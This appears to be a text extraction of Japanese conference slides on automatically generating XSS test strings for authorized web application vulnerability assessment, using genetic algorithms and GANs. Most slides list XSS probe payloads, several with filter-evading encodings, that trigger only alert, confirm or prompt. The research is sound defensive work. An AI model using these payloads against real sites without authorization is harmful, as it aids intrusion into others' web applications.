Recommended
More Related Content
What's hot
What's hot (20)
Similar to GAとGANによる検査値の自動生成
Similar to GAとGANによる検査値の自動生成 (20)
More from Isao Takaesu
More from Isao Takaesu (8)
GAとGANによる検査値の自動生成
- 1. 2017.09.30 Machine Learning 15minutes! #16 Presented by Isao Takaesu 機械学習とサイバーセキュリティ - GAとGANによる検査値の自動生成 -
- 2. About the speaker • 職業 : セキュリティエンジニア • 所属 : 三井物産セキュアディレクション • 趣味 : 脆弱性スキャナ作り、機械学習 • ブログ: http://www.mbsd.jp/blog/ • Black Hat Asia Arsenal, CODE BLUE / 2016 • 情報セキュリティEXPO, PYCON JP / 2017 • 勉強会「AISECjp」を主催 高江洲 勲 Takaesu Isao ML15minutes! Twitter: @bbr_bbq MBSD
- 6. Webアプリケーション診断 MBSD 診断員 Web Server Web Apps Fire wall 診断ベンダ 顧客 1. 疑似攻撃 SQLi? XSS? 2. 反応の分析 1. 様々な検査値を使用してWebアプリを疑似攻撃 2. Webアプリの反応を分析して脆弱性有無を判定 ML15minutes! 多くの脆弱性を検出するには、検査値の充実が必須。
- 9. ML15minutes! 検査値の自動生成手法 MBSD ・遺伝的アルゴリズム (Genetic Algorithm:GA) ・Generative Adversarial Networks (GAN)
- 12. ML15minutes! 遺伝的アルゴリズム（Genetic Algorithm：GA） MBSD 進化計算を繰り返し、最適な遺伝子の組み合わせの個体を探索。 Initialization Fitness/Evaluation CrossoverMutation Individual ● ▲ ■ × ★Gene Selection Generation alternation
- 13. ML15minutes! GAによる検査値の生成方法 MBSD ・XSSの検査値の一例 “><script>alert();</script> <object data=xss.html> <svg/onload=al¥u0065rt();> <video><source onerror=confirm(1);> <iframe onload=alert();> ・・・ 検査値はHTMLやJavaScriptの要素の組み合わせで構成。
- 14. ML15minutes! GAによる検査値の生成方法 MBSD ・XSSの検査値の一例 [“], [>], [<script>], [alert();], [</script>] [<object], [data=], [xss.html], [>] [<svg], [/], [onload=], [al¥u0065rt();], [>] [<video>], [<source], [onerror=], [confirm(1);], [>] [<iframe], [onload=], [alert();], [>] 各検査値の最小要素を遺伝子として定義。 遺伝子の最適な組み合わせを持った個体を探索。
- 17. ML15minutes! GAによる検査値の生成方法 MBSD 進化計算を繰り返すことで、約6種類の検査値を生成。 ※計算時間は各5時間程度 No 検査値 1 <script>al¥u0065rt``;</script> 2 <iframe/onload=alert();><select/cols= 3 <svg/onload=alert();></iframe><q 4 <video><source onerror=confirm(1);> 5 <body onload=alert();><form </thead> 6 <video><source onerror=alert();src=x <video> ・GAで生成した検査値例
- 18. ML15minutes! GAによる検査値の生成方法 MBSD 進化計算を繰り返すことで、約6種類の検査値を生成。 ※計算時間は各5時間程度 ⇒ あまり効率的ではない・・・ No 検査値 1 <script>al¥u0065rt``;</script> 2 <iframe/onload=alert();><select/cols= 3 <svg/onload=alert();></iframe><q 4 <video><source onerror=confirm(1);> 5 <body onload=alert();><form </thead> 6 <video><source onerror=alert();src=x <video> ・GAで生成した検査値例
- 20. ML15minutes! Generative Adversarial Networks：GAN MBSD 訓練データを模倣したfakeデータを大量に生成。 ・ ・ ・ Noise (Z) Generator (G) ・ ・ ・ Generative Data : G(z) ・ ・ ・ ・ ・ ・ Train Data Train Data ・・・ Discriminator (D) Probability True? X Dを騙す G(z)を見破る
- 22. ML15minutes! GANによる検査値の生成方法 MBSD ・ ・ ・ Noise (Z) Generator (G) ・ ・ ・ Generative Data : G(z) ・ ・ ・ ・ ・ ・ Train Data Train Data ・・・ Discriminator (D) Genetic Algorithm Probability True? GAN ”GAの検査値“を訓練データにし、様々な検査値を生成。
- 24. ML15minutes! GANで生成した検査値（2/6） MBSD １つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ：<iframe/onload=alert();><select/ --------------------------------------------------- 生成データ： colspan=<iframe <a onload=al¥u0065rt();> <object/onload="onfocus=alert();"<script type="text/javascript"> <iframe onload=alert``; /><select icon=<iframe/<img onload=al¥u0065rt();> ・・・ ・GANの学習過程で生成された検査値
- 25. ML15minutes! GANで生成した検査値（2/6） MBSD 訓練データに含まれないHTMLタグを使った検査値も生成。 検査値 訓練データ：<iframe/onload=alert();><select/ --------------------------------------------------- 生成データ： colspan=<iframe <a onload=al¥u0065rt();> <object/onload="onfocus=alert();"<script type="text/javascript"> <iframe onload=alert``; /><select icon=<iframe/<img onload=al¥u0065rt();> ・・・ ・GANの学習過程で生成された検査値
- 28. ML15minutes! GANで生成した検査値（4/6） MBSD １つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ：<video><source onerror=confirm(1);> --------------------------------------------------- 生成データ： <video><source onerror="¥u0061lert``;"> <video><source onerror="al¥u0065rt``;"> <video><source/onerror=alert();> <video><source onerror=prompt(1);> ・・・ ・GANの学習過程で生成された検査値
- 29. ML15minutes! GANで生成した検査値（5/6） MBSD １つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ：icon=<iframe/<body onload=¥u0061lert();> --------------------------------------------------- 生成データ： headers=<body/<body onload=alert();> icon=<body <input/onload=confirm(1);> kind=<body <img onload=alert``;> <img src=x <keygen onerror=¥u0061lert``;> ・・・ ・GANの学習過程で生成された検査値
- 30. ML15minutes! GANで生成した検査値（5/6） MBSD 検査値 訓練データ：icon=<iframe/<body onload=¥u0061lert();> --------------------------------------------------- 生成データ： headers=<body/<body onload=alert();> icon=<body <input/onload=confirm(1);> kind=<body <img onload=alert``;> <img src=x <keygen onerror=¥u0061lert``;> ・・・ ・GANの学習過程で生成された検査値 訓練データに含まれないHTMLタグを使った検査値も生成。
- 31. ML15minutes! GANで生成した検査値（6/6） MBSD １つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ： <embed onload=alert();<script type="text/javascript"> --------------------------------------------------- 生成データ： <embed/onload=al¥u0065rt();¥n<script type="text/javascript"> <embed onload=alert``;¥n<script type="text/javascript"> <embed/onload=prompt(1);¥n<script type="text/javascript"> <embed/src=x onload=confirm(1);¥n<script type="text/javascript"> ・・・ ・GANの学習過程で生成された検査値
- 33. ML15minutes! GANで追加生成した検査値 MBSD 訓練データに含まれないHTMLタグを使った検査値が生成される。 さらに、生成データを訓練データとする。以降、繰り返す・・・ 検査値 訓練データ： <object/src=x onload=alert();¥n<script type="text/javascript"> <script/src="data:text/html,alert();"<script></script> <img src=x <keygen onerror=¥u0061lert``;> --------------------------------------------------- 生成データ： <svg/onload=al¥u0065rt();¥n<script type="text/javascript"> <iframe/*/onload=charset=alert();> <iframe src=x <keygen onload=alert();¥n<script></script> <script/src="data:text/html,alert``;"
<script></script> ・・・ 1回目に生成された新しいパターンの検査値を訓練データとする。
- 34. ML15minutes! GANで追加生成した検査値 MBSD 検査値の偏りを防ぐ効果。 HTML・JS・記号の全組み合わせ検査値を生成できる可能性。 検査値 訓練データ： <object/src=x onload=alert();¥n<script type="text/javascript"> <script/src="data:text/html,alert();"<script></script> <img src=x <keygen onerror=¥u0061lert``;> --------------------------------------------------- 生成データ： <svg/onload=al¥u0065rt();¥n<script type="text/javascript"> <iframe/*/onload=charset=alert();> <iframe src=x <keygen onload=alert();¥n<script></script> <script/src="data:text/html,alert``;"
<script></script> ・・・ 1回目に生成された新しいパターンの検査値を訓練データとする。
- 36. Download “.PDF” version of this document: ≫ https://www.slideshare.net/babaroa